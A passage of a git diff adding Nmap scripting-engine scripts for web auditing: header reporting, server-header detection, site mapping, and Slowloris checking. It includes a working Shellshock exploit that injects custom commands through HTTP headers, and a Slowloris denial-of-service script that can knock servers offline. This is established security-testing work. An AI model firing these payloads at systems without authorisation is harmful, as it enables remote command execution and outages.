+ table.insert(output_info.Content_Security_Policy, "Description: Define from where the protected resource can load manifest.")
+ end
+ if string.match(csp_header,'form.action') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define which URIs can be used as the action of HTML form elements.")
+ end
+ if string.match(csp_header,'sandbox') then
+ table.insert(output_info.Content_Security_Policy, "Description: Specifies an HTML sandbox policy that the user agent applies to the protected resource.")
+ end
+ if string.match(csp_header,'script.nonce') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define script execution by requiring the presence of the specified nonce on script elements.")
+ end
+ if string.match(csp_header,'plugin.types') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded.")
+ end
+ if string.match(csp_header,'reflected.xss') then
+ table.insert(output_info.Content_Security_Policy, "Description: Instructs a user agent to activate or deactivate any heuristics used to filter or block reflected cross-site scripting attacks, equivalent to the effects of the non-standard X-XSS-Protection header.")
+ end
+ if string.match(csp_header,'block.all.mixed.content') then
+ table.insert(output_info.Content_Security_Policy, "Description: Prevent user agent from loading mixed content.")
+ end
+ if string.match(csp_header,'upgrade.insecure.requests') then
+ table.insert(output_info.Content_Security_Policy, "Description: Instructs user agent to download insecure resources using HTTPS.")
+ end
+ if string.match(csp_header,'referrer') then
+ table.insert(output_info.Content_Security_Policy, "Description: Define information user agent must send in Referer header.")
+ end
+ if string.match(csp_header,'report.uri') then
+ table.insert(output_info.Content_Security_Policy, "Description: Specifies a URI to which the user agent sends reports about policy violation.")
+ end
+ if string.match(csp_header,'report.to') then
+ table.insert(output_info.Content_Security_Policy, "Description: Specifies a group (defined in Report-To header) to which the user agent sends reports about policy violation. ")
+ end
+
+ end
+
+ if response.header['x-permitted-cross-domain-policies'] then
+ output_info.X_Permitted_Cross_Domain_Policies = {}
+ table.insert(output_info.X_Permitted_Cross_Domain_Policies, "Header: X-Permitted-Cross-Domain-Policies: " .. response.header['x-permitted-cross-domain-policies'])
+
+ x_cross_domain_header = string.lower(response.header['x-permitted-cross-domain-policies'])
+ if string.match(x_cross_domain_header,'none') then
+ table.insert(output_info.X_Permitted_Cross_Domain_Policies, "Description: No policy files are allowed anywhere on the target server, including this master policy file. ")
+ elseif string.match(x_cross_domain_header,'master.only') then
+ table.insert(output_info.X_Permitted_Cross_Domain_Policies, "Description: Only this master policy file is allowed. ")
+ elseif string.match(x_cross_domain_header,'by.content.type') then
+ table.insert(output_info.X_Permitted_Cross_Domain_Policies, "Description: Define which scripts the protected resource can execute.")
+ elseif string.match(x_cross_domain_header,'all') then
+ table.insert(output_info.X_Permitted_Cross_Domain_Policies, "Description: All policy files on this target domain are allowed.")
+ end
+
+ end
+
+ if response.header['set-cookie'] then
+ cookie = string.lower(response.header['set-cookie'])
+ if string.match(cookie,'secure') and shortport.ssl(host,port) then
+ output_info.Cookie = {}
+ table.insert(output_info.Cookie, "Cookies are secured with Secure Flag in HTTPS Connection")
+ end
+ end
+
+ if response.header['expect-ct'] then
+ output_info.Expect_CT = {}
+ table.insert(output_info.Expect_CT, "Header: Expect-CT: " .. response.header['expect-ct'])
+ end
+
+ if response.header['cache-control'] then
+ output_info.Cache_Control = {}
+ table.insert(output_info.Cache_Control, "Header: Cache-Control: " .. response.header['cache-control'])
+ end
+
+ if response.header['pragma'] then
+ output_info.Pragma = {}
+ table.insert(output_info.Pragma, "Header: Pragma: " .. response.header['pragma'])
+ end
+
+ if response.header['expires'] then
+ output_info.Expires = {}
+ table.insert(output_info.Expires, "Header: Expires: " .. response.header['expires'])
+ end
+
+ return output_info, stdnse.format_output(true, output_info)
+
+end
+
diff --git a/scripts/http-server-header.nse b/scripts/http-server-header.nse
new file mode 100644
index 0000000..9fe907c
--- /dev/null
+++ b/scripts/http-server-header.nse
@@ -0,0 +1,106 @@
+local comm = require "comm"
+local string = require "string"
+local table = require "table"
+local shortport = require "shortport"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local U = require "lpeg-utility"
+
+description = [[
+Uses the HTTP Server header for missing version info. This is currently
+infeasible with version probes because of the need to match non-HTTP services
+correctly.
+]]
+
+---
+--@output
+-- PORT STATE SERVICE VERSION
+-- 80/tcp open http Unidentified Server 1.0
+--
+-- PORT STATE SERVICE VERSION
+-- 80/tcp open http Unidentified Server 1.0
+-- |_ http-server-header: Unidentified Server 1.0
+--
+--@xmloutput
+--<table key="Server">
+-- <elem>Unidentified Server 1.0</elem>
+-- <elem>SomeOther Server</elem>
+--</table>
+
+author = "Daniel Miller"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"version"}
+dependencies = {"https-redirect"}
+
+portrule = function(host, port)
+ return (shortport.http(host,port) and nmap.version_intensity() >= 7)
+end
+
+action = function(host, port)
+ local responses = {}
+ -- Did the service engine already do the hard work?
+ if port.version and port.version.service_fp then
+ -- Probes sent, replies received, but no match.
+ -- Loop through the probes most likely to receive HTTP responses
+ for _, p in ipairs({"GetRequest", "GenericLines", "HTTPOptions",
+ "FourOhFourRequest", "NULL", "RTSPRequest", "Help", "SIPOptions"}) do
+ responses[#responses+1] = U.get_response(port.version.service_fp, p)
+ end
+ end
+ if #responses == 0 then
+ -- Have to send the probe ourselves.
+ local socket, result = comm.tryssl(host, port, "GET / HTTP/1.0\r\n\r\n")
+
+ if (not socket) then
+ return nil
+ end
+ socket:close()
+ responses[1] = result
+ end
+
+ -- Also send a probe with host header if we can. IIS reported to send
+ -- different Server headers depending on presence of Host header.
+ local socket, result = comm.tryssl(host, port,
+ ("GET / HTTP/1.1\r\nHost: %s\r\n\r\n"):format(stdnse.get_hostname(host)))
+ if socket then
+ socket:close()
+ responses[#responses+1] = result
+ end
+
+ port.version = port.version or {}
+
+ local headers = {}
+ for _, result in ipairs(responses) do
+ if string.match(result, "^HTTP/1.[01] %d%d%d") then
+
+ local http_server = string.match(result, "\n[Ss][Ee][Rr][Vv][Ee][Rr]:[ \t]*(.-)\r?\n")
+
+ -- Avoid setting version info if -sV scan already got a match
+ if port.version.product == nil and (port.version.name_confidence or 0) <= 3 then
+ port.version.service = "http"
+ port.version.product = http_server
+ -- Setting "softmatched" allows the service fingerprint to be printed
+ nmap.set_port_version(host, port, "softmatched")
+ elseif port.version.product == http_server then
+ -- If we already detected exactly this, no need to report it
+ http_server = nil
+ end
+
+ if http_server then
+ headers[http_server] = true
+ end
+ end
+ end
+
+ local out = {}
+ local out_s = {}
+ for s, _ in pairs(headers) do
+ out[#out+1] = s
+ out_s[#out_s+1] = s == "" and "<empty>" or s
+ end
+ if next(out) then
+ table.sort(out)
+ table.sort(out_s)
+ return out, ((#out > 1) and "\n " or "") .. table.concat(out_s, "\n ")
+ end
+end
diff --git a/scripts/http-shellshock.nse b/scripts/http-shellshock.nse
new file mode 100644
index 0000000..d04f6d4
--- /dev/null
+++ b/scripts/http-shellshock.nse
@@ -0,0 +1,144 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+local rand = require "rand"
+
+description = [[
+Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and
+CVE-2014-7169) in web applications.
+
+To detect this vulnerability the script executes a command that prints a random
+string and then attempts to find it inside the response body. Web apps that
+don't print back information won't be detected with this method.
+
+By default the script injects the payload in the HTTP headers User-Agent,
+Cookie, and Referer.
+
+Vulnerability originally discovered by Stephane Chazelas.
+
+References:
+* http://www.openwall.com/lists/oss-security/2014/09/24/10
+* http://seclists.org/oss-sec/2014/q3/685
+* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
+]]
+
+---
+-- @usage
+-- nmap -sV -p- --script http-shellshock <target>
+-- nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-shellshock:
+-- | VULNERABLE:
+-- | HTTP Shellshock vulnerability
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2014-6271
+-- | This web application might be affected by the vulnerability known as Shellshock. It seems the server
+-- | is executing commands injected via malicious HTTP headers.
+-- |
+-- | Disclosure date: 2014-09-24
+-- | References:
+-- | http://www.openwall.com/lists/oss-security/2014/09/24/10
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
+-- | http://seclists.org/oss-sec/2014/q3/685
+-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
+--
+-- @xmloutput
+-- <elem key="title">HTTP Shellshock vulnerability</elem>
+-- <elem key="state">VULNERABLE (Exploitable)</elem>
+-- <table key="ids">
+-- <elem>CVE:CVE-2014-6271</elem>
+-- </table>
+-- <table key="description">
+-- <elem>This web application might be affected by the vulnerability known as Shellshock. It seems the server
+-- &#xa;is executing commands injected via malicious HTTP headers. &#xa; </elem>
+-- </table>
+-- <table key="dates">
+-- <table key="disclosure">
+-- <elem key="year">2014</elem>
+-- <elem key="day">24</elem>
+-- <elem key="month">09</elem>
+-- </table>
+-- </table>
+-- <elem key="disclosure">2014-09-24</elem>
+-- <table key="refs">
+-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169</elem>
+-- <elem>http://www.openwall.com/lists/oss-security/2014/09/24/10</elem>
+-- <elem>http://seclists.org/oss-sec/2014/q3/685</elem>
+-- <elem>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271</elem>
+-- </table>
+-- @args http-shellshock.uri URI. Default: /
+-- @args http-shellshock.header HTTP header to use in requests. Default: User-Agent
+-- @args http-shellshock.cmd Custom command to send inside payload. Default: nil
+---
+author = {"Paulino Calderon <calderon()websec.mx","Paul Amar <paul()sensepost com>"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln","intrusive"}
+
+portrule = shortport.http
+
+function generate_http_req(host, port, uri, custom_header, cmd)
+ local rnd = nil
+ --Set custom or probe with random string as cmd
+ if not cmd then
+ local rnd1 = rand.random_alpha(7)
+ local rnd2 = rand.random_alpha(7)
+ rnd = rnd1 .. rnd2
+ cmd = ("echo; echo -n %s; echo %s"):format(rnd1, rnd2)
+ end
+ cmd = "() { :;}; " .. cmd
+ -- Plant the payload in the HTTP headers
+ local options = {header={}}
+ options["no_cache"] = true
+ if custom_header == nil then
+ stdnse.debug1("Sending '%s' in HTTP headers:User-Agent,Cookie and Referer", cmd)
+ options["header"]["User-Agent"] = cmd
+ options["header"]["Referer"] = cmd
+ options["header"]["Cookie"] = cmd
+ else
+ stdnse.debug1("Sending '%s' in HTTP header '%s'", cmd, custom_header)
+ options["header"][custom_header] = cmd
+ end
+ local req = http.get(host, port, uri, options)
+
+ return req, rnd
+end
+
+action = function(host, port)
+ local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
+ local http_header = stdnse.get_script_args(SCRIPT_NAME..".header") or nil
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
+ local req, rnd = generate_http_req(host, port, uri, http_header, nil)
+ if req.status == 200 and req.body:find(rnd, 1, true) then
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local vuln = {
+ title = 'HTTP Shellshock vulnerability',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+This web application might be affected by the vulnerability known
+as Shellshock. It seems the server is executing commands injected
+via malicious HTTP headers.
+ ]],
+ IDS = {CVE = 'CVE-2014-6271'},
+ references = {
+ 'http://www.openwall.com/lists/oss-security/2014/09/24/10',
+ 'http://seclists.org/oss-sec/2014/q3/685',
+ 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169'
+ },
+ dates = {
+ disclosure = {year = '2014', month = '09', day = '24'},
+ },
+ }
+ stdnse.debug1("Random pattern '%s' was found in page. Host seems vulnerable.", rnd)
+ vuln.state = vulns.STATE.EXPLOIT
+ if cmd ~= nil then
+ req = generate_http_req(host, port, uri, http_header, cmd)
+ vuln.exploit_results = req.body
+ end
+ return vuln_report:make_output(vuln)
+ end
+end
diff --git a/scripts/http-sitemap-generator.nse b/scripts/http-sitemap-generator.nse
new file mode 100644
index 0000000..bb2f8f5
--- /dev/null
+++ b/scripts/http-sitemap-generator.nse
@@ -0,0 +1,179 @@
+description = [[
+Spiders a web server and displays its directory structure along with
+number and types of files in each folder. Note that files listed as
+having an 'Other' extension are ones that have no extension or that
+are a root document.
+]]
+
+---
+-- @usage
+-- nmap --script http-sitemap-generator -p 80 <host>
+--
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-sitemap-generator:
+-- | Directory structure:
+-- | /
+-- | Other: 1
+-- | /images/
+-- | png: 1
+-- | /shared/css/
+-- | css: 1
+-- | /shared/images/
+-- | gif: 1; png: 1
+-- | Longest directory structure:
+-- | Depth: 2
+-- | Dir: /shared/css/
+-- | Total files found (by extension):
+-- |_ Other: 1; css: 1; gif: 1; png: 2
+--
+-- @args http-sitemap-generator.maxdepth the maximum amount of directories beneath
+-- the initial url to spider. A negative value disables the limit.
+-- (default: 3)
+-- @args http-sitemap-generator.maxpagecount the maximum amount of pages to visit.
+-- A negative value disables the limit (default: 20)
+-- @args http-sitemap-generator.url the url to start spidering. This is a URL
+-- relative to the scanned host eg. /default.html (default: /)
+-- @args http-sitemap-generator.withinhost only spider URLs within the same host.
+-- (default: true)
+-- @args http-sitemap-generator.withindomain only spider URLs within the same
+-- domain. This widens the scope from <code>withinhost</code> and can
+-- not be used in combination. (default: false)
+--
+
+author = "Piotr Olma"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+local shortport = require 'shortport'
+local stdnse = require 'stdnse'
+local url = require 'url'
+local httpspider = require 'httpspider'
+local string = require 'string'
+local table = require 'table'
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+local function dict_add(d, k, v)
+ if not d[k] then
+ d[k] = {}
+ d[k][v] = 1
+ elseif d[k][v] then
+ d[k][v] = d[k][v]+1
+ else
+ d[k][v] = 1
+ end
+end
+
+local function map(f, t)
+ local new_t = {}
+ for _,v in ipairs(t) do
+ new_t[#new_t+1] = f(v)
+ end
+ return new_t
+end
+
+local function sort_dirs(t)
+ local keys_table = {}
+ for k,_ in pairs(t) do
+ keys_table[#keys_table+1] = k
+ end
+ table.sort(keys_table)
+ local newdirs = {}
+ map(function(d) newdirs[#newdirs+1]={d, t[d]} end, keys_table)
+ return newdirs
+end
+
+local function sort_by_keys(t)
+ local keys_table = {}
+ for k,_ in pairs(t) do
+ keys_table[#keys_table+1] = k
+ end
+ table.sort(keys_table)
+ return map(function(e) return e..": "..tostring(t[e]) end, keys_table)
+end
+
+local function internal_table_to_output(t)
+ local output = {}
+ for _,dir in ipairs(t) do
+ local ext_and_occurrences = sort_by_keys(dir[2])
+ output[#output+1] = {name=dir[1], table.concat(ext_and_occurrences, "; ")}
+ end
+ return output
+end
+
+local function get_file_extension(f)
+ return string.match(f, ".-/.-%.([^/%.]*)$") or "Other"
+end
+
+-- removes /../ and /./ from paths; for example
+-- normalize_path("/a/v/../../da/as/d/a/a/aa/../") -> "/da/as/d/a/a/"
+local function normalize_path(p)
+ local n=0
+ p = p:gsub("/%.%f[/]", "")
+ p = p:gsub("/%.$", "/")
+ repeat
+ p, n = string.gsub(p, "/[^/]-/%.%.", "")
+ until n==0
+ return p
+end
+
+function action(host, port)
+ local starting_url = stdnse.get_script_args('http-sitemap-generator.url') or "/"
+
+ -- create a new crawler instance
+ local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } )
+
+ if ( not(crawler) ) then
+ return
+ end
+
+ local visited = {}
+ local dir_structure = {}
+ local total_ext = {}
+ local longest_dir_structure = {dir="/", depth=0}
+ while(true) do
+ local status, r = crawler:crawl()
+
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+ if r.response.status and r.response.status == 200 then
+ --check if we've already visited this file
+ local path = normalize_path(r.url.path)
+ if not visited[path] then
+ local ext = get_file_extension(path)
+ if total_ext[ext] then total_ext[ext]=total_ext[ext]+1 else total_ext[ext]=1 end
+ local dir = normalize_path(r.url.dir)
+ local _,dir_depth = string.gsub(dir,"/","/")
+ -- check if this path is the longest one
+ dir_depth = dir_depth - 1 -- first '/'
+ if dir_depth > longest_dir_structure["depth"] then
+ longest_dir_structure["dir"] = dir
+ longest_dir_structure["depth"] = dir_depth
+ end
+ dict_add(dir_structure, dir, ext)
+ -- when withinhost=false, then maybe we'd like to include the full url
+ -- with each path listed in the output
+ visited[path] = true
+ end
+ end
+ end
+
+ local out = internal_table_to_output(sort_dirs(dir_structure))
+ local tot = sort_by_keys(total_ext)
+ out =
+ {
+ "Directory structure:", out,
+ {name="Longest directory structure:", "Depth: "..tostring(longest_dir_structure.depth), "Dir: "..longest_dir_structure.dir},
+ {name="Total files found (by extension):", table.concat(tot, "; ")}
+ }
+ return stdnse.format_output(true, out)
+end
+
diff --git a/scripts/http-slowloris-check.nse b/scripts/http-slowloris-check.nse
new file mode 100644
index 0000000..d8482aa
--- /dev/null
+++ b/scripts/http-slowloris-check.nse
@@ -0,0 +1,164 @@
+local coroutine = require "coroutine"
+local math = require "math"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local comm = require "comm"
+local vulns = require "vulns"
+local http = require "http"
+
+
+description = [[
+Tests a web server for vulnerability to the Slowloris DoS attack without
+actually launching a DoS attack.
+
+Slowloris was described at Defcon 17 by RSnake
+(see http://ha.ckers.org/slowloris/).
+
+This script opens two connections to the server, each without the final CRLF.
+After 10 seconds, second connection sends additional header. Both connections
+then wait for server timeout. If second connection gets a timeout 10 or more
+seconds after the first one, we can conclude that sending additional header
+prolonged its timeout and that the server is vulnerable to slowloris DoS
+attack.
+
+A "LIKELY VULNERABLE" result means a server is subject to timeout-extension
+attack, but depending on the http server's architecture and resource limits, a
+full denial-of-service is not always possible. Complete testing requires
+triggering the actual DoS condition and measuring server responsiveness.
+
+You can specify custom http User-agent field with <code>http.useragent</code>
+script argument.
+
+Idea from Qualys blogpost:
+* https://community.qualys.com/blogs/securitylabs/2011/07/07/identifying-slow-http-attack-vulnerabilities-on-web-applications
+
+]]
+
+---
+-- @usage
+-- nmap --script http-slowloris-check <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-slowloris-check:
+-- | VULNERABLE:
+-- | Slowloris DOS attack
+-- | State: LIKELY VULNERABLE
+-- | IDs: CVE:CVE-2007-6750
+-- | Slowloris tries to keep many connections to the target web server open and hold
+-- | them open as long as possible. It accomplishes this by opening connections to
+-- | the target web server and sending a partial request. By doing so, it starves
+-- | the http server's resources causing Denial Of Service.
+-- |
+-- | Disclosure date: 2009-09-17
+-- | References:
+-- | http://ha.ckers.org/slowloris/
+-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
+--
+-- @see http-slowloris.nse
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+
+portrule = shortport.http
+
+action = function(host,port)
+
+ local slowloris = {
+ title = "Slowloris DOS attack",
+ description = [[
+Slowloris tries to keep many connections to the target web server open and hold
+them open as long as possible. It accomplishes this by opening connections to
+the target web server and sending a partial request. By doing so, it starves
+the http server's resources causing Denial Of Service.
+]],
+ IDS = {
+ CVE = 'CVE-2007-6750',
+ },
+ references = {
+ 'http://ha.ckers.org/slowloris/',
+ },
+ dates = {
+ disclosure = {year = '2009', month = '09', day = '17'},
+ },
+ exploit_results = {},
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ slowloris.state = vulns.STATE.NOT_VULN
+
+ local sd, response, Bestopt = comm.tryssl(host, port, "GET / HTTP/1.0\r\n\r\n") -- first determine if we need ssl
+ if sd then sd:close() end
+ if Bestopt == "none" then
+ stdnse.debug1("Error determining SSL: %s", response)
+ return nil
+ end
+ local HalfHTTP = (
+ "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
+ "Host: " .. host.ip .. "\r\n" ..
+ "User-Agent: " .. http.USER_AGENT .. "\r\n" ..
+ "Content-Length: 42\r\n"
+ )
+ local TimeWithout -- time without additional headers
+
+ -- does a half http request and waits until timeout
+ local function slowThread1()
+ local socket = nmap.new_socket()
+ local try = nmap.new_try(function()
+ TimeWithout = nmap.clock()
+ socket:close()
+ end)
+ try(socket:connect(host, port, Bestopt))
+ try(socket:send(HalfHTTP))
+ socket:set_timeout(500 * 1000)
+ try(socket:receive())
+ TimeWithout = nmap.clock()
+ end
+
+ local TimeWith -- time with additional headers
+
+ -- does a half http request but sends another
+ -- header value after 10 seconds
+ local function slowThread2()
+ local socket = nmap.new_socket()
+ local try = nmap.new_try(function()
+ TimeWith = nmap.clock()
+ socket:close()
+ end)
+ try(socket:connect(host, port, Bestopt))
+ try(socket:send(HalfHTTP))
+ stdnse.sleep(10)
+ try(socket:send("X-a: b\r\n"))
+ socket:set_timeout(500 * 1000)
+ try(socket:receive())
+ TimeWith = nmap.clock()
+ end
+
+ -- both threads run at the same time
+ local thread1 = stdnse.new_thread(slowThread1)
+ local thread2 = stdnse.new_thread(slowThread2)
+ while true do -- wait for both threads to die
+ if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then
+ break
+ end
+ stdnse.sleep(1)
+ end
+ -- compare times
+ if ( not(TimeWith) or not(TimeWithout) ) then
+ stdnse.debug1("Unable to time responses: thread died early.")
+ return nil
+ end
+ local diff = TimeWith - TimeWithout
+ stdnse.debug1("Time difference is: %.f",diff)
+ -- if second connection died 10 or more seconds after the first
+ -- it means that sending additional data prolonged the connection's time
+ -- and the server is vulnerable to slowloris attack
+ if diff >= 10 then
+ slowloris.state = vulns.STATE.LIKELY_VULN
+ end
+ return report:make_output(slowloris)
+end
diff --git a/scripts/http-slowloris.nse b/scripts/http-slowloris.nse
new file mode 100644
index 0000000..87584e0
--- /dev/null
+++ b/scripts/http-slowloris.nse
@@ -0,0 +1,361 @@
+local coroutine = require "coroutine"
+local datetime = require "datetime"
+local math = require "math"
+local nmap = require "nmap"
+local os = require "os"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local http = require "http"
+local comm = require "comm"
+
+description = [[
+Tests a web server for vulnerability to the Slowloris DoS attack by launching a Slowloris attack.
+
+Slowloris was described at Defcon 17 by RSnake
+(see http://ha.ckers.org/slowloris/).
+
+This script opens and maintains numerous 'half-HTTP' connections until
+the server runs out of resources, leading to a denial of service. When
+a successful DoS is detected, the script stops the attack and returns
+these pieces of information (which may be useful to tweak further
+filtering rules):
+* Time taken until DoS
+* Number of sockets used
+* Number of queries sent
+By default the script runs for 30 minutes if DoS is not achieved.
+
+Please note that the number of concurrent connexions must be defined
+with the <code>--max-parallelism</code> option (default is 20, suggested
+is 400 or more) Also, be advised that in some cases this attack can
+bring the web server down for good, not only while the attack is
+running.
+
+Also, due to OS limitations, the script is unlikely to work
+when run from Windows.
+]]
+
+---
+-- @usage
+-- nmap --script http-slowloris --max-parallelism 400 <target>
+--
+-- @args http-slowloris.runforever Specify that the script should continue the
+-- attack forever. Defaults to false.
+-- @args http-slowloris.send_interval Time to wait before sending new http header datas
+-- in order to maintain the connection. Defaults to 100 seconds.
+-- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30
+-- minutes default).
+--
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 80/tcp open http syn-ack Apache httpd 2.2.20 ((Ubuntu))
+-- | http-slowloris:
+-- | Vulnerable:
+-- | the DoS attack took +2m22s
+-- | with 501 concurrent connections
+-- |_ and 441 sent queries
+--
+-- @see http-slowloris-check.nse
+
+author = {"Aleksandar Nikolic", "Ange Gutek"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"dos", "intrusive"}
+
+
+portrule = shortport.http
+
+local SendInterval
+local TimeLimit
+local end_time
+
+-- this will save the amount of still connected threads
+local ThreadCount = 0
+-- the maximum amount of sockets during the attack. This could be lower than the
+-- requested concurrent connections because of the webserver configuration (eg
+-- maxClients on Apache)
+local Sockets = 1
+-- this will save the amount of new lines sent to the half-http requests until
+-- the target runs out of ressources
+local Queries = 0
+
+local ServerNotice
+local DOSed = false
+local StopAll = false
+local Reason = "slowloris" -- DoSed due to slowloris attack or something else
+local Bestopt
+
+
+local function timeout_occured()
+ if nmap.clock_ms() < end_time or TimeLimit == nil then
+ return false
+ else
+ StopAll = true
+ return true
+ end
+end
+
+-- get time (in milliseconds) when the script should finish
+local function get_end_time()
+ if TimeLimit == nil then
+ return -1
+ end
+ return 1000 * TimeLimit + nmap.clock_ms()
+end
+
+-- set Time interval for threads to sleep
+local function set_SendInterval()
+ SendInterval = math.min(SendInterval, (end_time - nmap.clock_ms())/1000)
+end
+
+local function set_parameters()
+ SendInterval = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.send_interval') or '100s')
+ if stdnse.get_script_args('http-slowloris.runforever') then
+ TimeLimit = nil
+ else
+ TimeLimit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or '30m')
+ end
+end
+
+local function do_half_http(host, port, obj)
+ local condvar = nmap.condvar(obj)
+
+ if timeout_occured() then
+ condvar("signal")
+ return
+ end
+
+ -- Create socket
+ local slowloris = nmap.new_socket()
+ slowloris:set_timeout(math.min(200 * 1000, end_time - nmap.clock_ms())) -- Set a long timeout so our socket doesn't timeout while it's waiting. At the same time left for script execution is maximum limit.
+
+ ThreadCount = ThreadCount + 1
+ local catch = function()
+ -- This connection is now dead
+ ThreadCount = ThreadCount - 1
+ stdnse.debug1("[HALF HTTP]: lost connection")
+ slowloris:close()
+ slowloris = nil
+ condvar("signal")
+ return
+ end
+
+ local try = nmap.new_try(catch)
+ try(slowloris:connect(host.ip, port, Bestopt))
+
+ if timeout_occured() then
+ ThreadCount = ThreadCount - 1
+ condvar("signal")
+ return
+ end
+
+ -- Build a half-http header.
+ local half_http = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
+ "Host: " .. host.ip .. "\r\n" ..
+ "User-Agent: " .. http.USER_AGENT .. "\r\n" ..
+ "Content-Length: 42\r\n"
+
+ try(slowloris:send(half_http))
+
+ if timeout_occured() then
+ ThreadCount = ThreadCount - 1
+ condvar("signal")
+ return
+ end
+
+ ServerNotice = " (attack against " .. host.ip .. "): HTTP stream started."
+ -- During the attack some connections will die and other will respawn.
+ -- Here we keep in mind the maximum concurrent connections reached.
+
+ if Sockets <= ThreadCount then Sockets = ThreadCount end
+
+ -- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval
+ while true do
+ if timeout_occured() then
+ break
+ end
+ --Setting global SendInterval before and then passing it to sleep has been
+ --done so as to ensure the most updated SendInterval is assigned
+ --NOTE: Effective for large number of threads
+ set_SendInterval()
+ stdnse.sleep(SendInterval)
+ --Since sleep time could be big so check is made again for timeout
+ if timeout_occured() then
+ break
+ end
+ try(slowloris:send("X-a: b\r\n"))
+ Queries = Queries + 1
+ ServerNotice = ("(attack against %s): Feeding HTTP stream...\n(attack against %s): %d queries sent using %d connections."):format(
+ host.ip, host.ip, Queries, ThreadCount)
+ end
+ slowloris:close()
+ ThreadCount = ThreadCount - 1
+ condvar("signal")
+end
+
+
+-- Monitor the web server
+local function do_monitor(host, port)
+ local general_faults = 0
+ local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server
+
+ stdnse.debug1("[MONITOR]: Monitoring " .. host.ip .. " started")
+
+ local request = "GET / HTTP/1.1\r\n" ..
+ "Host: " .. host.ip ..
+ "\r\nUser-Agent: " .. http.USER_AGENT .. "\r\n\r\n"
+ local opts = {}
+ local sd,_
+
+ sd, _, Bestopt = comm.tryssl(host, port, "GET / HTTP/1.0\r\n\r\n", opts) -- first determine if we need ssl
+ if sd then sd:close() end
+
+ while not StopAll do
+ local monitor = nmap.new_socket()
+ local status = monitor:connect(host.ip, port, Bestopt)
+ if not status then
+ general_faults = general_faults + 1
+ if general_faults > 3 then
+ Reason = "not-slowloris"
+ DOSed = true
+ break
+ end
+ else
+ status = monitor:send(request)
+ if not status then
+ general_faults = general_faults + 1
+ if general_faults > 3 then
+ Reason = "not-slowloris"
+ DOSed = true
+ break
+ end
+ end
+ status, _ = monitor:receive_lines(1)
+ if not status then
+ stdnse.debug1("[MONITOR]: Didn't get a reply from " .. host.ip .. "." )
+ monitor:close()
+ request_faults = request_faults +1
+ if request_faults > 3 then
+ if TimeLimit then
+ stdnse.debug1("[MONITOR]: server " .. host.ip .. " is now unavailable. The attack worked.")
+ DOSed = true
+ end
+ monitor:close()
+ break
+ end
+ else
+ request_faults = 0
+ general_faults = 0
+ stdnse.debug1("[MONITOR]: ".. host.ip .." still up, answer received.")
+ stdnse.sleep(10)
+ monitor:close()
+ end
+ if timeout_occured() then
+ break
+ end
+ end
+ end
+end
+
+local Mutex = nmap.mutex("http-slowloris")
+
+local function worker_scheduler(host, port)
+ local Threads = {}
+ local obj = {}
+ local condvar = nmap.condvar(obj)
+ local i
+
+ for i = 1, 1000 do
+ -- The real amount of sockets is triggered by the
+ -- '--max-parallelism' option. The remaining threads will replace
+ -- dead sockets during the attack
+ local co = stdnse.new_thread(do_half_http, host, port, obj)
+ Threads[co] = true
+ end
+
+ while not DOSed and not StopAll do
+ -- keep creating new threads, in case we want to run the attack indefinitely
+ repeat
+ if timeout_occured() then
+ return
+ end
+
+ for thread in pairs(Threads) do
+ if coroutine.status(thread) == "dead" then
+ Threads[thread] = nil
